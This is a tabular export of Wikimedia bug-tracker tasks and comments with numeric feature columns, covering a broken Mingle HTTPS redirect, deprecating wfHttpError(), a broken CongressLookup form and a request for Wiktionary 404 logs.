**URL**: http://mingle.corp.wikimedia.org/projects/internationalization/cards/grid?color_by=type&filters[]=[Type][is][Story]&filters[]=[Sprint][is][%28Current+Sprint%29]&group_by=status&lanes=Ready+for+Analysis%2CIn+Analysis%2CReady+for+Development%2CIn+Development%2CReady+for+Testing%2CIn+Testing%2CReady+for+Signoff%2CAccepted&tab=Sprint+Backlog",Low,25.0,1328189400,1340918392.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-s45yax63nu33h47hvbso,task_description,resolved,True,c2,1,True,False,True,-82,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.258620689655173,0.6206896551724138,"Try the example URL (found on URL ): it's converted to mingle.corp.wikimedia.orgprojects which obviously doesn't work: Error 105 (net::ERR_NAME_NOT_RESOLVED. The same URL with https works.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
162996,Mingle HTTP to HTTPS redirect is broken,"sorry for the long delay on this, I'm not sure what happened but it looks like it was done at the odd time while I transitioned to my new position and no one poked me. This has now been fixed and so should work for everyone (it also generally works fo anonymous without guest/guest as well).",,,1340918392,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,False,,,-61,True,0.0,2.0,0.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,11.0,14.0,2.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,11.0,14.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6875,0.875,"sorry for the long delay on this, I'm not sure what happened but it looks like it was done at the odd time while I transitioned to my new position and no one poked me. This has now been fixed and so should work for everyone (it also generally works fo anonymous without guest/guest as well)."
162991,Mingle HTTP to HTTPS redirect is broken,"(In reply to comment #3)
> yes, a broken redirect, but even it it worked it still asks for a login. So not
> really public but linked on the public blog? 

Everyone can use the ""guest, guest"" credentials, which are highly advertised.",,,1328198810,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4827586206896552,0.8275862068965517,"(In reply to comment #3)
QUOTE
QUOTE

Everyone can use the ""guest, guest"" credentials, which are highly advertised."
162986,Mingle HTTP to HTTPS redirect is broken,"yes, a broken redirect, but even it it worked it still asks for a login. So not
really public but linked on the public blog? The redirect problem on
mingle.corp would be an Office IT ticket afaik.",,,1328198629,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,9.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,7.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.7727272727272727,"yes, a broken redirect, but even it it worked it still asks for a login. So not
really public but linked on the public blog? The redirect problem on
mingle.corp would be an Office IT ticket afaik."
162981,Mingle HTTP to HTTPS redirect is broken,"http://mingle.corp.wikimedia.org/projects/
Redirects you to:
https://mingle.corp.wikimedia.orgprojects/

so the rewrite rule is wrong somewhere",,,1328193778,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.875,"URL
Redirects you to:
URL

so the rewrite rule is wrong somewhere"
162977,Mingle HTTP to HTTPS redirect is broken,URL: http://mingle.corp.wikimedia.org/,,,1328193700,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s45yax63nu33h47hvbso,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,URL: URL
36151,Turn wfHttpError() into a wrapper for HttpError exception,"Global function wfHttpError() is only used in core by AjaxDispatcher. It should be deprecated and callers should use the HttpError exception instead.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement",Low,25.0,1328173260,1472852708.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_description,declined,True,c2,1,True,False,False,-82,True,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.75,"Global function wfHttpError() is only used in core by AjaxDispatcher. It should be deprecated and callers should use the HttpError exception instead.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement"
722238,Turn wfHttpError() into a wrapper for HttpError exception,"Actually, I'm not convinced on this anymore. It's used in a couple of places, not just AjaxDispatcher. Plus some extensions. It's basically harmless. Declined.",,,1472852708,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,3,True,,,157,True,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7647058823529411,"Actually, I'm not convinced on this anymore. It's used in a couple of places, not just AjaxDispatcher. Plus some extensions. It's basically harmless. Declined."
170716,Turn wfHttpError() into a wrapper for HttpError exception,This was never merged -- needs a lot of cleanup before we do. REOPENING.,,,1341328192,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.9375,This was never merged -- needs a lot of cleanup before we do. REOPENING.
170711,Turn wfHttpError() into a wrapper for HttpError exception,Made wfHttpError() thrown an HttpError exception with https://gerrit.wikimedia.org/r/5424,,,1334926906,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.7,1.0,Made wfHttpError() thrown an HttpError exception with GERRIT_URL
170705,Turn wfHttpError() into a wrapper for HttpError exception,"(In reply to comment #2)
> Still would've lost time, since the exception still mentions HTML2 as well ;-)

Exception DOCTYPE fixed with  https://gerrit.wikimedia.org/r/5423",,,1334926886,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.764705882352941,1.0,"(In reply to comment #2)
QUOTE

Exception DOCTYPE fixed with  GERRIT_URL"
170698,Turn wfHttpError() into a wrapper for HttpError exception,I like Chad's suggestion in r110486 better.  We shouldn't deprecate things that are easy enough to support with a wrapper.,,,1328751682,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,False,,,-81,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.12,0.96,I like Chad's suggestion in r110486 better.  We shouldn't deprecate things that are easy enough to support with a wrapper.
170694,Turn wfHttpError() into a wrapper for HttpError exception,"(In reply to comment #1)
> Additionally, we want to avoid loosing time on old stuff (example: r110486  )

Still would've lost time, since the exception still mentions HTML2 as well ;-)",,,1328244950,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,"(In reply to comment #1)
QUOTE

Still would've lost time, since the exception still mentions HTML2 as well ;-)"
170690,Turn wfHttpError() into a wrapper for HttpError exception,"Additionally, we want to avoid loosing time on old stuff (example: r110486  )",,,1328173401,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.823529411764706,1.0,"Additionally, we want to avoid loosing time on old stuff (example: r110486  )"
35959,Special:CongressLookup doesn't work anymore,"Input 12345 on https://en.wikipedia.org/w/index.php?title=Special:CongressLookup and press Look up then I'm sent to https://en.wikipedia.org/w/index.php?zip=12345&submit=Look+up which shows nothing related.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1327563060,1327978205.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-5jyqtowidyiztql2eebx,task_description,resolved,True,c2,1,False,False,True,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8378378378378377,0.7297297297297297,"Input 12345 on URL and press Look up then I'm sent to URL which shows nothing related.

--------------------------
**Version**: unspecified
**Severity**: normal"
161707,Special:CongressLookup doesn't work anymore,r110356,,,1327978205,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5jyqtowidyiztql2eebx,task_subcomment,,True,c2,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,r110356
161700,Special:CongressLookup doesn't work anymore,"https://en.wikipedia.org/wiki/Special:CongressLookup works, though.  I'm sure this is b/c of the <form action="""" method=""GET"">",,,1327944678,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5jyqtowidyiztql2eebx,task_subcomment,,True,c2,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.7083333333333335,0.9166666666666666,"URL works, though.  I'm sure this is b/c of the <form action="""" method=""GET"">"
34514,Access to HTTP 404 logs for Wiktionary,"Most often many users use wikitionary by directly entering the word they are looking out in the url and if article doesnt exist, get 404, page not found. Is it possible to get access to these 404 logs and share with the community, so that the community can create entries for nonexistant pages which are being looked up by the readers

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1321772700,,PHID-USER-3stle7x2whgjz463c4zz,False,,False,PHID-TASK-rng7tsijdjuhagtccn6z,task_description,open,True,c2,1,False,False,,-93,True,1.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,5.0,5.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,4.178571428571429,0.7380952380952381,"Most often many users use wikitionary by directly entering the word they are looking out in the url and if article doesnt exist, get 404, page not found. Is it possible to get access to these 404 logs and share with the community, so that the community can create entries for nonexistant pages which are being looked up by the readers

--------------------------
**Version**: unspecified
**Severity**: enhancement"
157342,Access to HTTP 404 logs for Wiktionary,"**sumanah** wrote:

Pinging Srikanth once more. :)",,,1411512068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,3,False,,,55,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,3.2142857142857144,0.7857142857142857,"**sumanah** wrote:

Pinging Srikanth once more. :)"
157335,Access to HTTP 404 logs for Wiktionary,"Srikanth: Could you answer comment 6, please?

[removing ops keyword -> analytics area]",,,1362166082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.8,1.0,"Srikanth: Could you answer comment 6, please?

[removing ops keyword -> analytics area]"
157326,Access to HTTP 404 logs for Wiktionary,"**wikimaas** wrote:

Not exactly the same, but I developed a small javascript extension which is handy dealing with the 404s described in the Srikanth Logi's scenario.

See http://en.wiktionary.org/wiki/Wiktionary:Beer_parlour/2013/February#Yahoo_Pipe_for_404s for the thread. 

I realize probably it would be better if the api is totally parsed inside wiktionary, so not with using pipes, but well, its the idea...",,,1362007695,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,1.0,1.0,3.0,7.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,10.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,3.861111111111111,0.75,"**wikimaas** wrote:

Not exactly the same, but I developed a small javascript extension which is handy dealing with the 404s described in the Srikanth Logi's scenario.

See URL for the thread. 

I realize probably it would be better if the api is totally parsed inside wiktionary, so not with using pipes, but well, its the idea..."
157317,Access to HTTP 404 logs for Wiktionary,"So what is this currently, a request for an automated regularly updated filtered version of the udp logs? (Maybe to be sent to the analytics team?)
A request for a tool which works on stats.grok.se data or its replacement of the mysterious future?
Please clarify summary and component.",,,1345759288,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,4.0,7.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,0.8245614035087719,"So what is this currently, a request for an automated regularly updated filtered version of the udp logs? (Maybe to be sent to the analytics team?)
A request for a tool which works on stats.grok.se data or its replacement of the mysterious future?
Please clarify summary and component."
157308,Access to HTTP 404 logs for Wiktionary,"Nice, can the monthly log of this made available in some place like dumps.wikimedia.org ? My original request was based on Tamil Wiktionary in mind and the urlencoding needs to be decoded for the final output to be useful and unicode might not be junk there. After we get the data from across wiktionaries over a period, we could probably find patterns to exclude junk and give some useful data to community",,,1322375098,,PHID-USER-3stle7x2whgjz463c4zz,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-92,True,3.0,0.0,0.0,3.0,1.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,19.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.48,0.7733333333333333,"Nice, can the monthly log of this made available in some place like dumps.wikimedia.org ? My original request was based on Tamil Wiktionary in mind and the urlencoding needs to be decoded for the final output to be useful and unicode might not be junk there. After we get the data from across wiktionaries over a period, we could probably find patterns to exclude junk and give some useful data to community"
157303,Access to HTTP 404 logs for Wiktionary,"**EN.WP.ST47** wrote:

November 1-3, en.wikt, top 300 requested non-existent pages

